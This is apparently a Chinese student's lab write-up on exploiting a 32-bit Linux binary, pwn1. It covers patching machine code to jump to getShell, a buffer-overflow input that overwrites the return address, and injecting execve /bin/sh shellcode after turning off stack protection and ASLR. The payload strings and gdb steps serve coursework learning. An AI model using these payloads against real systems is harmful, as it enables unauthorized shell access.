Exp1 PC平台逆向破解
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。本次实践的目标就是想办法运行这个代码片段。
需掌握内容
一、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。
JE指令:条件转移指令,如果相等则跳转。
JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。
CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
二、掌握反汇编与十六进制编程器
objdump反汇编命令: objdump -f test //显示test的文件头信息 objdump -d test //反汇编test中的需要执行指令的那些section objdump -D test //与-d类似,但反汇编test中的所有section objdump -h test //显示test的Section Header信息 objdump -x test //显示test的全部Header信息 objdump -s test //除了显示test的全部Header信息,还显示他们对应的十六进制文件代码 xxd命令: 用vi命令打开一个文件,在vi命令模式下输入 :%!xxd //回车后,该文件会以十六进制形式显示 :%!xxd -r //参数-r是指将当前的十六进制转换为二进制
本次实验包含3个实践内容:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
(PS:进行实验前,记得备份pwn1文件,毕竟需要用3次)
前言
既然pwn1是一个可执行文件,那就先执行一下吧
然而...

查询原因,发现64位kali上没有32位的运行库

安装运行库,好吧,该软件包被废弃了,换一个:lib32z1

再次执行pwn1,没问题

实践1(手动修改程序机器指令,改变程序执行流程,直接跳转到getShell函数):
1.执行命令 objdump -d pwn1 ,对pwn1文件进行反汇编

2. 查看代码中的main、foo、getShell函数,下图红框中的指令表示:main函数调用位于地址8048491处的foo函数


foo函数及相关后续函数起到回显作用,此为pwn1文件的原本正常功能(即对用户输入的字符进行简单回显)。我们需要做的,是修改红框中的地址,让main函数调用getShell函数执行,即改变程序执行流程。
分析红框中指令:
其对应机器指令为“e8 d7ffffff”,而e8为跳转之意。本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但是碰到“e8“指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。
由于Intel x86在存储数据时采用小端方式,即低地址上存放低字节,高地址上存放高字节。因此按照人类读数方式,“d7ffffff”这个补码的正常读数方式为:ff ff ff d7,转换为十进制是-41(十六进制0x29),所以跳转到EIP + d7ffffff = 80484ba + d7ffffff= 80484ba-0x29 = 8048491处,发现结果正好是8048491这个值(foo函数地址)
通过以上分析,我们发现,call指令调用函数对应的机器指令为:“e8”+“该函数相对于EIP值的偏移量”,因此,若想让main函数调用getShell,只要修改“d7ffffff”为,“getShell地址 - EIP(80484ba)”对应的补码就行(804847d - 80484ba),得到结果为c3 ff ff ff。
3.下面修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
(1)vi编辑pwn1文件,按ESC键,之后输入 :%!xxd ,将显示模式切换为16进制模式

(2)直接输入 /e8d7 ,查找需要修改的内容(如果没找到,加一空格, /e8 d7 )

(3)确认是需要修改的地方后,回车,方向键移动光标到“d7”,敲击r键,在敲击输入改动字符(或者直接按i键,编辑修改为“c3”,ESC键退出编辑模式)

(4)输入 :%!xxd -r ,转换16进制为原格式

(5)输入 :wq ,保存并退出pwn1文件

(6)再输入 objdump -d pwn1 | more 反汇编一下pwn1文件中的main函数,查看是否正确调用getShell函数

4.运行修改后的代码,得到shell

实践2(通过构造输入参数,造成BOF攻击,改变程序执行流):
缓冲区溢出:计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。(此实验是:构造指定字符串[含有getShell函数地址],让getShell函数的地址恰好溢出到EIP)
目标依然是触发getShell函数,但在这里要注意的是foo函数,该函数有Buffer Overflow漏洞,我们的目标是让溢出的字节覆盖返回地址(如下图,当输入达到28B时产生溢出)

下面确认输入字符串哪几个字符会覆盖到返回地址:
1.用gdb命令调试pwn1文件,输入一个48B的字符串,依然是,Segmentation Fault


2.接着使用 info r 命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回地址为5555,这就说明刚刚输入的48B字符串中,含有5的字符串溢出到了EIP中

3.为了精确判断字符串中的溢出位置,将“55555555”替换为“12345678”,继续调试,观察具体是哪几个数字溢出到了EIP寄存器中
发现“1234”那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

4.getShell的内存地址,通过反汇编时可以看到,即0804847d(代码中的顺序应为:\x7d\x84\04\08)

5.由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以生成包括这样字符串的一个文件(\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键)
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

6.可以使用16进制查看指令xxd查看input文件的内容是否如预期

7.将input的输入,通过管道符“|”,作为pwn1的输入 (cat input; cat) | ./pwn1 ,最后,获得shell

实践3(注入Shellcode并执行):
shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell。
此实践中使用实验指导里给出的shellcode,如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
1.准备工作,修改配置(若提示找不到execstack命令,先输入命令apt-get install execstack ,进行安装)
root@kali:~/桌面# execstack -s pwn1 //设置堆栈可执行 root@kali:~/桌面# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 root@kali:~/桌面# more /proc/sys/kernel/randomize_va_space root@kali:~/桌面# " > /proc/sys/kernel/randomize_va_space //关闭地址随机化 root@kali:~/桌面# more /proc/sys/kernel/randomize_va_space root@kali:~/桌面#

2.构造需要注入的Payload
Linux下有两种基本构造攻击buf的方法:
(1)retaddr + nop + shellcode
(2)nop + shellcode + retaddr
由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面
缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
按照实验指导中的方案,利用《nop + shellcode + retaddr》模式构造Payload时,当执行到shellcode中“push %ebx”这条指令时,出现:代码在堆栈上,当前栈顶也在这,一push就把指令自己给覆盖了这一问题(尝试过这种模式,确实获取shell失败。。。不懂汇编,并不是很懂这里的原理。。。思考中,求教)
以下实验步骤,按照《retaddr + nop + shellcode》模式,进行注入
3.步骤(注:由实践2知,需要向缓冲区填充32B数据,才能精确溢出到EIP中)
(1)构造32个字符“A”,其后为retaddr + nop + shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
接下来需要确定返回地址(即/x4/x3/x2/x1)需要填什么,因此,注入这段buf
(cat input_shellcode;cat) | ./pwn1

(2)再开另外一个终端,用gdb来调试pwn1这个进程(在此之前,需要找到pwn1执行的进程号)
ps -ef | grep pwn1 //找到pwn1的进程号 gdb //启动gdb调试这个进程 attach 7312 //gdb关联pwn1这个进程,开始调试 disassemble foo //通过设置断点,来查看注入buf的内存地址 break *0x080484ae //在另外一个终端中按下回车 c //continue



(3)通过 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将/x4/x3/x2/x1置为/x90/xd3/xff/xff即可
如图,获得shell

实验收获与感想
通过实验,对缓冲区溢出攻击原理有了一定的了解。在本次实验中,由于foo函数中使用了gets函数读入输入(该函数并不对输入的数据进行越界检查),导致缓冲区溢出攻击的发生。
汇编等相关知识以前并未接触过,对本次实验的某些出错成因、实质原理并不是很懂,没有先修知识,网络对抗实验确实不好弄。
什么是漏洞?漏洞有什么危害?
漏洞:程序员在设计制造程序产品时,仅仅只考虑该程序的功能实现,未充分考虑安全性问题,导致程序在安全策略上存在缺陷(如:未对输入数据进行过滤、检查),使得攻击者可利用该缺陷进行破环与攻击。
漏洞危害:攻击者利用该漏洞,对系统、设备等进行未授权的访问、破环,可能造成信息泄漏、资源丢失等状况,甚至威胁自身安全。
Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
随机推荐
- Android视频录制从不入门到入门系列教程(一)————简介
一.WHY Android SDK提供了MediaRecorder帮助开发者进行视频的录制,不过这个类很鸡肋,实际项目中应该很少用到它,最大的原因我觉得莫过于其输出的视频分辨率太有限了,满足不了项目的 ...
- 《SQL CookBook 》笔记-第三章-多表查询-连接查询
目录 1 内连接(inner join) 1.1 隐式的内连接 1.2 显式的内连接 2 外连接(outer join) 2.1 左连接(left outer join) 2.2 右连接(right ...
- sql 按年月日统计
1.每年select year(ordertime) 年,sum(Total) 销售合计from 订单表group by year(ordertime) 2.每月select year(orderti ...
- Ajax异步交互基础
1. ajax是什么? * asynchronous javascript and xml:异步的js和xml * 它能使用js访问服务器,而且是异步访问! * 服务器给客户端的响应一般是整个页面,一 ...
- Elimination Game题解
Elimination Game 这道题目出于leetcode,题目虽然很简单但是很有趣,因为有趣才能称得上游戏吧! 0x00 题目介绍 简单介绍一下题目意思 给定一个数字N(N>0),一个列表 ...
- Docker 容器安装及常用基础命令
为什么用docker 作为一种新兴的虚拟化方式,Docker 跟传统的虚拟化方式相比具有众多的优势. Docker 在如下几个方面具有较大的优势: 更快速的交付和部署 Docker在整个开发周期都可以 ...
- vue nextTick使用
Vue nextTick使用 vue生命周期 原因是在created()钩子函数执行的时候DOM 其实并未进行任何渲染,而此时进行DOM操作无异于徒劳,所以此处一定要将DOM操作的js代码放进Vue. ...
- windows系统中给qt工程添加第三方库
· TEMPLATE = app CONFIG += console c++11 CONFIG -= app_bundle CONFIG -= qt SOURCES += main.cpp LIBS ...
- CodeBlocks卸载后重装 编译c文件提示错误信息“No such file or directory”
编译最简单的helloworld程序,提示第一行#include<stdio.h> 找不到头文件. 解决方法: 再次卸载CodeBlocks后,将之前的配置文件删除. 路径:C:\User ...
- Ceva定理的四种证明方法
${\color{Teal} {Ceva定理}}$设$D.E.F$依次为三角形ABC的边$AB.BC.CA$的内点,记 $λ$=(A,B,D),$μ$=(B,C,E),$v$=(C,A,F) 求证:三 ...